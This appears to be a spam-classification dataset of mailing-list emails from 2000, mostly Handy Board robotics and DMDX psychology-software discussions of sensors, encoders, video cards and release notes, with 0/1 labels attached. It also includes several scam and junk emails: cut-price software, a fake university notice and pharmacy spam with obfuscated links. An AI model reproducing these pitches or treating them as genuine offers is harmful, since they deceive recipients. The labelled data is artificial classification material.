trace, 8 pullup-less analog inputs. Marco A.A. de Oliveira marco.assfalk.oliveira@ieee.org ------------------------------------------------------------ Project Supervisor/PhD student UNM/NASA ACE Center Cooperative Robotics Project EECE Bldg. Rm. 110 Fax: +1-505-277-4681 Albuquerque,NM 87131 Office: +1-505-277-1437 USA --------------------------------------> http://ace.unm.edu < > http://pursue.unm.edu/pp-75-data/index.html <------------- BMajik5127@aol.com wrote: > Hi I have a small problem, > I want to connect three sharp gp2d12s to the expansion board and I know I > cant cut traces 0,1 and the gp2d12s need the pullups removed to operate > correctly. > How do I use them on the expansion board? > Any help would be appreciated! > Thanks > -Mike",0,1 Jens Graf ,handyboard@media.mit.edu,"Wed, 19 Jul 2000 14:37:23 +0000",GP2D02 - problems?,"Hi all, I used Gary Livicks routine in connection with the GP2D02 Sensor. When there is no obstacle in front of the sensor the LDC shows: ""range is 77"". Is that normal. Shouldn't the LCD display zero? If it is normal can you say me why? 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THanks Tim ",0,0 Gary Livick ,handyboard@media.mit.edu,"Thu, 20 Jul 2000 19:17:04 +0000",Re: Encoder routines,"I can offer some input on this, as I have used both the Rug Warrior approach and the Handy Board approach that you describe. As far as which method has an advantage over the other is probably a qualitative assessment that is application driven, and a bunch of other kinds of babble words as well. The Rug Warrior method uses the pulse counter and an interrupt to keep track of encoder clicks as they call them. This has the advantage of running more or less in the background, and in the case of the interrupt only delaying the execution of the main program when it is necessary. It's disadvantage is that it ties up two precious port A pins. In addition, the way the code is written in the RW library, for every combination of a black and white stripe the count is incremented by one, halving the potential resolution that could be had by counting each transition. The Handy Board approach uses the polling method to check the state of the wheel encoders either once every 1 millisecond or once every 4 milliseconds, depending on whether you have chosen the fast or slow encoder routines. The advantage of the Handy Board approach is that analog pins are used to gather the data. There are lots of analog pins on the Handy Board, and it isn't any sacrifice to give up a few for encoder duty. The disadvantage is that they run on the 1000 Hz interrupt, taking up time there. And the way the routines are written, they take up a lot more time than is generally necessary, and there is no way to shut them off. In my applications, in which I use a Rug Warrior look-alike (my own board), I have the option of using either method. I've chosen the Handy Board routines, rewritten so there is just one that runs four encoders, leaves off the velocity portion of the routine, and which I can shut off if they aren't needed so the system interrupt takes up less system overhead. Hope this is informative. Gary Livick http://www.teleport.com/~raybutts/ tiny HC11 boards for your projects Timothy Coyle wrote: > I've looked at the shaft encoder routines and it seems to be getting the > encoder voltage at certain times and using that to keep track of ticks. In the > past I have used an input capture to keep track of ticks. Is there a certain > advantage of one method over the other? > THanks > Tim ",0,1 Latisha Ashley ,handyboard@media.mit.edu,"Thu, 20 Jul 2000 21:02:49 -0500",I have tired to call,"Client Record #: 182520 Status: Non-Active Dear Sir/Madam; You status with our online-university is still non active. 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The serial connection is capable of connection speeds of 1200bps to 115Kbps which is pretty impressive, so it should easily cope with the connection rate of the HB serial comms. Unfortunately it only seems to be available as a surface mount module but I'm sure anybody wanting to use it could come up with something (soldering wires to each leg and bringing them out onto pins of a standard 20 pin DIP socket ?). The IC itself is 7.2mm long and 5.3mm wide (7.8 if you include the legs) so it is tiny, and it only costs about 6 GBP (english pounds for anybody not familiar with the abbrevation) so, as you need two, for about 12 GBP plus a few extra components (capacitors, resistors, crystal if not running on a local clock signal, IR LED, and PIN diode to receive the IR signal) you can have a wireless IR comms system fo the HB and as the unit (including the IC and extra components) is reasonably small so it could possibly be simply left connected to the HB and your robot could be roaming around the room while still communicating with the PC. If anybody is interested the IC is a CS8130 Multi-standard InfraRed Transceiver made by the Crystal Semiconductor Company. Hope this is useful to somebody. John Hatton johnhatton@email.com ",0,0 Jordan Wilson ,handyboard@media.mit.edu,"Thu, 22 Jul 1999 13:17:51 +0800",Need S0ftware?," Special Offer Adobe Video Collection Adobe Premiere 1.5 Professional Adobe After Effects 6.5 Professional Adobe Audition 1.5 Adobe Encore DVD 1.5 $149.95 More Info >> Microsoft 2 in 1 MS Windows XP Pro MS Office 2003 Pro 1D87497D81AE8AAF1C2628C2FD1E5D76@78AE $99.95 More Info >> Microsoft + Adobe 3 in 1 MS Windows XP Pro MS Office 2003 Pro Adobe Acrobat 7.0 Professional $149.95 More Info >> Bestsellers Microsoft Office Professional Edition 2003 Rating: 6 reviews Retail price: $550.00 You save: $480.05 (87%) Our price: $69.95 [Add to cart] Microsoft Windows XP Professional Rating: 8 reviews Retail price: $200.00 You save: $150.05 (75%) Our price: $49.95 [Add to cart] Adobe Photoshop CS2 V 9.0 Rating: 3 reviews Retail price: $599.00 You save: $529.05 (88%) Our price: $69.95 [Add to cart] ",1,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Sun, 23 Jul 2000 21:47:18 -0400",Both leds red and green on ?," Hi , when I run modified servos from the motor ports both leds light in fwd and in rev at the same time either when the robot is moving fwd or reverse? How can I correct this? It works correctly with lego motors? Why not with the servo? Thanks -Mike ",0,0 """EL Turner, Experimental Psychology"" ",DMDX ,"Mon, 24 Jul 2000 14:49:24 +0100",[DMDX],"Hi, Just wanted to get some advice about presenting bmp's in dmdx version 1.1.13- the images are black and white photos and the quality is very poor when they are run in dmdx. They are all saved as 24bit files and the image is of good quality in paintshop and in timedx version 1.05 when you run a video mode test, any ideas why the images are degraded in dmdx? I have tried saving them with different amounts of colours used but this doesn't seem to make any difference. Thanks for any advice Emma ---------------------- EL Turner, Experimental Psychology University of Bristol 8 Woodland Road BRISTOL BS8 1TN Tel:(0117) 928 8574 Fax: 0117 928 8588 Emma.Turner@bristol.ac.uk ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Mon, 24 Jul 2000 09:16:28 -0700",[DMDX] Re: ,"At 02:49 PM 7/24/00 +0100, you wrote: >Hi, > >Just wanted to get some advice about presenting bmp's in dmdx >version 1.1.13- the images are black and white photos and the >quality is very poor when they are run in dmdx. They are all >saved as 24bit files and the image is of good quality in >paintshop and in timedx version 1.05 when you run a video mode >test, any ideas why the images are degraded in dmdx? I have >tried saving them with different amounts of colours used but this >doesn't seem to make any difference. There should be no difference between TimeDX and DMDX presenting a bitmap. The only difference I can conceive of is that you are using a different screen resolution. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,0 """Wholesale M. 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They are all > >saved as 24bit files and the image is of good quality in > >paintshop and in timedx version 1.05 when you run a video mode > >test, any ideas why the images are degraded in dmdx? I have > >tried saving them with different amounts of colours used but this > >doesn't seem to make any difference. > > There should be no difference between TimeDX and DMDX presenting a > bitmap. The only difference I can conceive of is that you are using a > different screen resolution. > -jonathan (j.c.f.) > I puzzled over a similar problem until I realised that I needed to specify the video mode in the parameter line of the item file using the keyword. What worked was to include in the parameter line something like (insert your own values) . The values should match those in which you ran the TimeDX video mode test (notice there are 5 numbers). If (or ) is not specified then DMDX defaults to 640x480 (480) 8 bpp 0Hz i.e. (thank you j.c.f. help file and Mike Ford tutorial). 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(it may sound like a no-brainer to have experimenters simply select the desired rtf file from several in the same folder, but mistakes do happen). I have tried doing this by putting copies of the DMDX program in different folders, accompanied in that folder by the rtf file I want to run, and then putting very clear icons on the desktop that shortcut to those folders. The problem is that no matter which copy of DMDX I run, the pathway for the rtf file it gives under 'browse' is always the one most recently run rather than the one it sits next to in the folder. Does anyone know how to have a particular rtf file be accessed virtually automatically upon running DMDX? thanks, Jerry ",0,0 Keith Donohue ,DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 09:58:31 -0400",[DMDX],"Hello DMDXers. I am a first-year graduate student in clinical psychology at Florida State University. I am planning to set up a stimulus presentation computer that will run DMDX, and I have several hardware questions. I am ordering a P3-733MHz with 128MB. I want a qick graphics card and I can get a good price on a 32MB nVidia GeForce 2. This card should support up to 2048X1536 resolution and should have a refresh rate of up to 120MHz. I have read over the updates on the DMDX site, and I did not see any warnings against using this card. Does anyone know of any problems with it? Are there any cards that would recomend over it? I am planning to show bitmap images on a 19 inch Viewsonic monitor. The card supports higher levels of resolution and refresh than this or most other monitors, so I don't think there will be a problem. Are there any problems with this monitor? One more question, if I set up a dual display (one for the experimenter, one for the subject), do I need the two monitors to be exactly the same model? I appreciate any advice and guidance that you can offer. Thank you. Keith ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ",0,1 Matthew Brett ,DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 15:01:32 +0100",[DMDX] Re: auto-access particular rtf files ,"Dear Jerry, You could get your users to drag the required rtf files to the DMDX icon, or even (I suppose) set DMDX as the default program to open rtf files, whence they can double click on the rtf icons, Good luck, Matthew ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 09:40:03 -0700",[DMDX] Re: auto-access particular rtf files,"At 08:47 AM 7/27/00 -0500, you wrote: >Dear DMDXers, > >I am running several different rtf files for different but related >experiments (native Chinese speakers, simplified characters; native Chinese >speakers, traditional characters; learners of Mandarin, simplified >characters; learners of Mandarin, traditional characters; native English >speakers). I would like to make it very easy for those running the >experiments to select the right rtf file so the wrong one is not selected >by mistake, by having there be only one rtf option. (it may sound like a >no-brainer to have experimenters simply select the desired rtf file from >several in the same folder, but mistakes do happen). > >I have tried doing this by putting copies of the DMDX program in different >folders, accompanied in that folder by the rtf file I want to run, and then >putting very clear icons on the desktop that shortcut to those folders. The >problem is that no matter which copy of DMDX I run, the pathway for the rtf >file it gives under 'browse' is always the one most recently run rather >than the one it sits next to in the folder. > >Does anyone know how to have a particular rtf file be accessed virtually >automatically upon running DMDX? As always, check the documentation, there's a command line switch to make DMDX automatically run a given itemfile. That way you can have one copy of DMDX and one folder but five different shortcuts, each with a different command line. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 09:46:39 -0700",[DMDX] Re: ,"At 09:58 AM 7/27/00 -0400, you wrote: >Hello DMDXers. I am a first-year graduate student in clinical psychology >at Florida State University. I am planning to set up a stimulus >presentation computer that will run DMDX, and I have several hardware >questions. > >I am ordering a P3-733MHz with 128MB. I want a qick graphics card and I >can get a good price on a 32MB nVidia GeForce 2. This card should support >up to 2048X1536 resolution and should have a refresh rate of up to >120MHz. I have read over the updates on the DMDX site, and I did not see >any warnings against using this card. Does anyone know of any problems >with it? Are there any cards that would recomend over it? Nope, the NVIDIA stuff is great. >I am planning to show bitmap images on a 19 inch Viewsonic monitor. The >card supports higher levels of resolution and refresh than this or most >other monitors, so I don't think there will be a problem. Are there any >problems with this monitor? It's a crappy monitor but it works. I prefer the Digiview for garden variety monitors and if you've got money to burn almost nothing beats the Sony devices, esp. if you want fast refresh rates, some of the Sony devices are _very_ fast. > One more question, if I set up a dual display (one for the > experimenter, one for the subject), do I need the two monitors to be > exactly the same model? No. But you will need two video cards which means one of them has to be a PCI card and although NVIDIA has plans to re-introduce a PCI card I haven't heard of it selling yet. I'd be interested to try one of the Matrox Dual Head video cards, here you only have one AGP video card (meaning nice fast transfers to the video memory, PCI is on the slow side) but two monitors plug into it and it enumerates itself as two devices. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,0 """John P. Kline"" ","DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Thu, 27 Jul 2000 12:59:00 -0400",[DMDX] Re: ,"At 09:46 AM 7/27/00 -0700, j.c.f. wrote: >At 09:58 AM 7/27/00 -0400, you wrote: > No. But you will need two video cards which means one of them has to be >a PCI card and although NVIDIA has plans to re-introduce a PCI card I >haven't heard of it selling yet. I'd be interested to try one of the >Matrox Dual Head video cards, here you only have one AGP video card >(meaning nice fast transfers to the video memory, PCI is on the slow side) >but two monitors plug into it and it enumerates itself as two devices. > I haven't had very good luck with the Matrox Dual Head. I plan to play with it some more, but when I tried it I got abysmal refresh rates on the subject monitor. Seemed like a good thing at the time. JK ___________________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 12:47:08 -0700",[DMDX] Re: ,"At 12:59 PM 7/27/00 -0400, you wrote: >I haven't had very good luck with the Matrox Dual Head. I plan to play >with it some more, but when I tried it I got abysmal refresh rates on the >subject monitor. The DAC on the Matrox is a 300Mhz device so if you are getting limited refresh rates I'd be suspecting the monitor itself, either it's incorrectly specified to windows or it is in fact a slow old monitor. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ And on the seventh day, He exited from append mode. ",0,0 Keith Donohue ,DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 18:11:21 -0400",[DMDX],"Thanks to Dr. Forster and Dr. Kline for responding to my question about video cards and monitors. Does anyone have any additional recommendations about monitors? In addition to Sony, are there any that are especially good? In addition to Viewsonic, are there any that I should avoid? Thanks! Keith ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com ",0,1 Jerry Packard ,DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 21:10:23 -0500",[DMDX] Re: auto-access particular rtf files,"At 09:40 AM 7/27/00 -0700, you wrote: >At 08:47 AM 7/27/00 -0500, you wrote: >>Dear DMDXers, .... >>Does anyone know how to have a particular rtf file be accessed virtually >>automatically upon running DMDX? > > As always, check the documentation, there's a command line switch to >make DMDX automatically run a given itemfile. That way you can have one >copy of DMDX and one folder but five different shortcuts, each with a >different command line. > > >-jonathan (j.c.f.) > Thank you. I finally got it to work, but only by having both the program and the rtf file in the 'root' C: directory. Regardless, this method then bypasses the 'main' DMDX screen, keeping the experimenter from (easily) entering the subject ID, correct? (I see you can enter it in the command line, but that would be too cumbersome for my purposes) Do you know any way to get that screen but limit the choice of files? Jerry ",0,0 Julian Simmons ,DMDX@psy1.psych.arizona.edu,"Fri, 28 Jul 2000 13:10:21 +1000",[DMDX] Monivision Monitors,"Dear All, While we are on the topic of monitors, I'm interested to know if anyone has had any experience with the Monivision variety. I'm looking at them because, firstly their smallest screen size is 29"" (size does occasionally matter) and they also permit TV/video function (digitally compatible). The latter permitting the presentation of a more multimedia array of stimuli, such as affective film clips. We currently use the 21"" Sony Trinitron, and have found them more than adequate. The Monivision model I'm currently considering is the 29"" DM-5948S XGA Data/Video Monitor (with the CT-1871 Vision Box). If anyone has had any experience with this model, or company, or has heard anything about them, I'd greatly appreciate hearing from you. Best Regards, Julian. ===================================================== Julian Simmons School of Behavioural Science Department of Psychology University of Melbourne Victoria 3010 Australia. j.simmons1@pgrad.unimelb.edu.au Ph: +61 3 8344-0326 Fax: +61 3 9347-6618 Mobile: 0411 161 769 ===================================================== ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 21:18:54 -0700",[DMDX] Re: auto-access particular rtf files,"At 09:10 PM 7/27/00 -0500, you wrote: >Regardless, this method then bypasses the 'main' DMDX screen, keeping the >experimenter from (easily) entering the subject ID, correct? (I see you can >enter it in the command line, but that would be too cumbersome for my >purposes) > >Do you know any way to get that screen but limit the choice of files? You can't. You'd have to build a batch file that prompted for the subject id and passed it on the command line to DMDX. Don't ask me how to do that. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,0 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Thu, 27 Jul 2000 21:20:56 -0700",[DMDX] video cards," Here's a review of my current choice of new video cards for DMDX: http://www.gamecenter.com/Hardware/3dcards/Prophet2mx/ Only $150 (other cards based on the MX will be less) and more features than you can poke a stick at. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The chance of a piece of bread falling with the buttered-side down is directly proportional to the cost of the carpet. ",0,1 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Jul 2000 14:09:53 -0400",[DMDX] Matrox Dual Head,"I am running TimeDX on the Matrox G400 Dualhead, and get the following error messages when entering the Vertical Retrace Sync Thread: 1. DirectX reports no support for Page Flipping, so page tearing will be used instead. 2. SetPalette failed! DDERR_INVALIDPIXELFORMAT (88760091) pixel format was invalid as specified. 3. Refresh Interval calc. failed 4. A diagnostics dialog with a bunch of comma delimited 0s and -1s. Finally, after going through these errors, I get the Vertical Retrace Sync Test dialog. Since the default values are ridiculously high for my ADI Microscan G66 (i.e. Automatic values are 14 for sleep, 17.667 for TimeOut, and 16.667 for refresh interval), I tune the following values: Sleep=6, TimeOut=8, Refresh = 7. Again, I get the page flipping and invalid pixel format errors. But, if I ignore the errors, the sync thread runs. When I try to run a rtf protocol, I get DDERR_NODIRECTDRAWHW (88760233) A hardware only DirectDraw object creation was attempted by the driver did not support any hardware. These are the reasons I abandoned this hardware in the first place, and opted to use some PCI cards... However, if I can use the Matrox and take advantage of AGP, I would like to do so. Any suggestions would be appreciated. best, JK ___________________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Jul 2000 11:29:58 -0700",[DMDX] Re: Matrox Dual Head,"At 02:09 PM 7/28/00 -0400, you wrote: >I am running TimeDX on the Matrox G400 Dualhead, and get the following >error messages when entering the Vertical Retrace Sync Thread: > >1. DirectX reports no support for Page Flipping, so page tearing will be >used instead. Yeah, well any device that reports this can be forgotten about, it's not going to work. This means Matrox's drivers are incredibly shoddy, basically in the ""only just work"" category, they should be ashamed of themselves. >These are the reasons I abandoned this hardware in the first place, and >opted to use some PCI cards... However, if I can use the Matrox and take >advantage of AGP, I would like to do so. Any suggestions would be >appreciated. Your only bet is to hit Matrox's site for new drivers. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ And on the seventh day, He exited from append mode. ",0,0 """John P. Kline"" ",DMDX@psy1.psych.arizona.edu,"Fri, 28 Jul 2000 14:40:02 -0400",[DMDX] Re: Matrox Dual Head,"Thanks. I'll see if I can get new drivers and let you know how they work. best, JK At 11:29 AM 7/28/00 -0700, Jonathan C. Forster wrote: >At 02:09 PM 7/28/00 -0400, you wrote: >>I am running TimeDX on the Matrox G400 Dualhead, and get the following >>error messages when entering the Vertical Retrace Sync Thread: >> >>1. DirectX reports no support for Page Flipping, so page tearing will be >>used instead. > > Yeah, well any device that reports this can be forgotten about, it's not >going to work. This means Matrox's drivers are incredibly shoddy, >basically in the ""only just work"" category, they should be ashamed of >themselves. > >>These are the reasons I abandoned this hardware in the first place, and >>opted to use some PCI cards... However, if I can use the Matrox and take >>advantage of AGP, I would like to do so. Any suggestions would be >>appreciated. > > Your only bet is to hit Matrox's site for new drivers. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >And on the seventh day, He exited from append mode. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ___________________________________________________________________________ John P. Kline, Ph.D. Office Phone: 850-644-9363 Assistant Professor Lab Phone: 850-644-2049 Department of Psychology Fax: 850-644-7739 Florida State University Mailto:kline@psy.fsu.edu Tallahassee, FL 32306-1051 http://klinelab.psy.fsu.edu ___________________________________________________________________________ ",0,1 """John P. Kline"" ","DMDX@psy1.psych.arizona.edu, DMDX@psy1.psych.arizona.edu","Fri, 28 Jul 2000 15:16:24 -0400",[DMDX] Re: Matrox Dual Head,"I downloaded new drivers from Matrox... This has taken care of the error messages for the time being. I'll put the card through the paces with a faster monitor (the ADI only does 85 Hz) and let you know how it goes. Again, thanks! cheers, John At 11:29 AM 7/28/00 -0700, Jonathan C. Forster wrote: >At 02:09 PM 7/28/00 -0400, you wrote: >>I am running TimeDX on the Matrox G400 Dualhead, and get the following >>error messages when entering the Vertical Retrace Sync Thread: >> >>1. DirectX reports no support for Page Flipping, so page tearing will be >>used instead. > > Yeah, well any device that reports this can be forgotten about, it's not >going to work. This means Matrox's drivers are incredibly shoddy, >basically in the ""only just work"" category, they should be ashamed of >themselves. > >>These are the reasons I abandoned this hardware in the first place, and >>opted to use some PCI cards... However, if I can use the Matrox and take >>advantage of AGP, I would like to do so. Any suggestions would be >>appreciated. > > Your only bet is to hit Matrox's site for new drivers. > > >-jonathan (j.c.f.) > > /""\\ > \\ / > X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL > / \\ > >And on the seventh day, He exited from append mode. > > >==================================================================== > Send mail to DMDX-request@psy1.psych.arizona.edu with the word > 'unsubscribe' by itself with no quotes in the body of the email > and Ken will then remove you from the list at his earliest > convenience. The list archive is available here: > http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread >==================================================================== > ___________________________________________________________________________ John P. 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",0,0 Stephan Adelsberger ,"Jens Graf , handyboard@media.mit.edu","Tue, 01 Aug 2000 22:23:45 +0200",Re: GP2D02 - problems?,"No, the GPD02 value is never zero. Here is a table with my readings and the corresponding distance. distance value in cm 110 68 100 70 90 71 80 72 75 74 70 75 65 76 60 79 55 81 50 83 45 87 40 91 35 97 30 106 25 117 20 135 15 167 10 233 This values may vary a bit. The sensor is designed for distances above 10 cm. If the distance < 10 cm, the values are useless (the values drop again). However, there is a much more elegant solution using the following formula by Ben Jackson (ben@ben.com): >In lugnet.robotics.handyboard, Jean-Michel Mongeau writes: >Does anyone how I could create a lookup table or an algorithm to convert the >output of the Sharp GP2D02 (0 to 255 = byte) to values between 10 and 80 cm, >which is the reading capability of the IR? >You mean like value = 10 + ((70 * b) / 256) ? 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Please provide (if available) a table of pinouts so that I can hook the thing up. Please make your pinout names be the same as what I can see in the Handyboard and Vector documentation. I don't know all of the technical jargon, but I can follow instructions. I don't have a ""Pink Book"", either. Please indicate any additional hardware/components necessary. If not direct lines from handy b to vector, a schematic would be nice. Please indicate what is necessary in software (hopefully IC level, not assembly). If someone already has code, that would be ideal. If at all possible, can this information be presented in a ""Vector 2x interface to a Handy board/Exp. Board for DUMMIES"" kind of way? I am a dummy after all and need all the help I can get. I apologize if I appear a bit demanding, but I am not an electronics/software guru like some of you folks obviously are. I just want to get it working so I can give the bot some inputs so I can figure out how to get from point A to point B. thank you all very much for all your help in the past, and in advance for your future assistance. ",0,0 ChenYHsu@aol.com,handyboard@media.mit.edu,"Fri, 04 Aug 2000 20:36:46 -0400",Re: cool sounds,"hi all, i'm looking for funny and cool wav files to input into my robot. does anybody have any to give me? thanx in advance ",0,0 """Jorge A. Palacios Castillo"" ",handyboard@media.mit.edu,"Sat, 05 Aug 2000 01:12:09 -0600",The handy board.,"Hello. I am student of UNAM in Mexico City. If its possible, can you give me the printed circuit of the handy board. I have to make a project with it. What is the program you use for program the hc11? I am using the hc11e1 for many homeworks in my school. Thank you. Atte: Jorge A. Palacios. ",0,0 BMajik5127@aol.com,handyboard@media.mit.edu,"Sun, 06 Aug 2000 13:27:55 -0400",*Handy Board hearing?*," Hi, I am working with the Handy Board and I have an audio circuit I want to add to an analog port , How could I program the handy Board to sample the sound and then listen for that sound? Any ideas would be helpful. Thanks -Mike ",0,0 """Fred G. Martin"" ",handyboard@media.mit.edu,"Mon, 07 Aug 2000 13:23:52 +0000",Re: The handy board.,"Dear Jorge, The Handy board printed circuit artwork can be downloaded from: http://el.www.media.mit.edu/projects/handy-board/hardware/pclayout.html You can also buy blank PCBs from www.douglas.com. Fred In your message you said: > Hello. > > I am student of UNAM in Mexico City. > If its possible, can you give me the printed circuit of the handy board. I ha ve to make a project with it. > > What is the program you use for program the hc11? > > I am using the hc11e1 for many homeworks in my school. > > Thank you. > > Atte: Jorge A. Palacios. > > > -- > MIME ATTACHMENTS DISCARDED: > > 1. Content-Type: text/html; > charset Content-Transfer-Encoding: quoted-printable > Content-Length: 1034 > ",0,1 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Mon, 07 Aug 2000 16:34:03 -0700",[DMDX] 2.0.00," Ok, the preliminary release of DMDX 2.0.00 and TimeDX 2.0.01 are up on the website. The old version of DMDX (1.3.01) is still available in DMDX1301.ZIP, I won't be deleting it any time soon as it's the only version of DMDX that can work on old 386 and 486 machines. I won't be updating version 1 again, any fixes or modifications will be made to the version 2 code. The new version includes greatly enhanced (read largely re-written) support for multi-monitor machines (the secondary subject's display can now be a part of the windows desktop which it tends to be by default) and exclusive use of the win32 Performance Timer (read microsecond accurate RTs if you find an input device that accurate and basically more accurate timing all round). I'm still working on it, sorting out joystick polling issues raised previously and other things but testing by me to date indicates I haven't broken anything and that RTs are in general at least 0.3ms more accurate than they used to be so I'd like people to at least start testing it. Note, you must use the new TimeDX to record registry settings for the new DMDX, they use different forks of the registry tree (so version 2 settings won't upset version 1 code). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish. ",0,0 Mike Ford ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Aug 2000 13:26:02 +0100",[DMDX] DMDX 2 timing,"Hi. In TimeDX with DMDX 1.3, 640 x 480 8 bit colour I get a refresh value of around 8.4 ms. In the new TimeDx for DMDX Version 2 I get a refresh of 11.7. Why the discrepancy? - Mike P.S. Like the new toolbar menus, by the way. P.P.S Video card is a ATIXpert98D AGP 2X on a DELL Dimension XPS 400, with a DELL 1626HT monitor. xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox Mike Ford MRC Cognition & Brain Sciences Unit [Ex Applied Psychology Unit] Tel: 01223 355294 ext 241 15 Chaucer Road Fax: 01223 359062 Cambridge CB2 2EF email: mike.ford@mrc-cbu.cam.ac.uk http://www.mrc-cbu.cam.ac.uk/personal/mike.ford xoxxooxxxoooxxxxooooxxxxxoooooxxxxxxoooooxxxxxooooxxxxoooxxxooxxox ",0,1 Harriett ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Aug 2000 01:01:50 -0400",/iagra at $0.87 per dose italian," How about your good self? You want cheap / I A G R @ ??? http://tiotug0jil0bzqzgbuunzuc5huuu.tolleryfb.com/?zfbzf http://cmncseghy1y9xoxe9sslxaa3xsaa.tolleryfb.com/tey?fgd ReM ",1,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Aug 2000 09:36:08 -0700",[DMDX] Re: DMDX 2 timing,"At 01:26 PM 8/8/00 +0100, you wrote: >Hi. In TimeDX with DMDX 1.3, 640 x 480 8 bit colour I get a refresh value >of around 8.4 ms. In the new TimeDx for DMDX Version 2 I get a refresh of >11.7. Why the discrepancy? > >- Mike > >P.S. Like the new toolbar menus, by the way. > >P.P.S > >Video card is a ATIXpert98D AGP 2X on a DELL Dimension XPS 400, with a >DELL 1626HT monitor. Possibly because the old code was not functioning properly. I'd have to have the machine in front of me and run some tests with my photo cell to find out. Without test equipment I'd be looking at the results of the video test very carefully, looking to see how often it found retraces when they were supposed to be found, if at 8.4ms it's timing almost all retraces out then it's more than likely the 8.4ms is spurious (which is one of the main reasons to switch to 2.0 code). -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ ""Life, loathe it or ignore it, you can't like it."" - Marvin, ""Hitchhiker's Guide to the Galaxy"" ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 09 Aug 2000 15:53:35 -0700",[DMDX] 2.0.01," Well that didn't take long. DMDX 2.0.01 is up on the website, 2.0.00 had some issues with which window wound up with the focus after an error message had been thrown (the whole way DMDX deals with it's multiple windows has changed and there were some edits I had overlooked). If you wind up with a big blue screen after an error message and you haven't installed 2.0.01 all you need to do is to hit alt-tab and you'll get back to the menu window. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 09 Aug 2000 16:45:20 -0700",[DMDX] ALERT! Re: 2.0.01," People might want to hold off on 2.0.01, I seem to have broken something, either the code or my test system, I'll let you know shortly. -jonathan (j.c.f.) /""\\ \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ The least experienced fisherman always catches the biggest fish. ",0,0 """Jonathan C. Forster"" ",DMDX@psy1.psych.arizona.edu,"Wed, 09 Aug 2000 17:37:26 -0700",[DMDX] 2.0.02," Well, that took even less time. I had fixed a long standing error where rtfparsed.txt wasn't openable after an error because the abort routines hadn't been called and the file mapping object was still open and therefore not useable, well in fixing it the millisecond callback wound up not getting activated...oops. So that's fixed in DMDX 2.0.02, sorry about the mess. On the upside, I just finished running the new TestMode 9 that monitors RT deviations (you could just analyze the data I know, I'm not about to do that), primarily for use with a phototransistor and I see a standard deviation using the PIO-12 for input on my 400Mhz Celeron and TNT1 of 0.29ms! This is almost exactly what you want to see for millisecond accurate timing, this means that 95% of responses were within 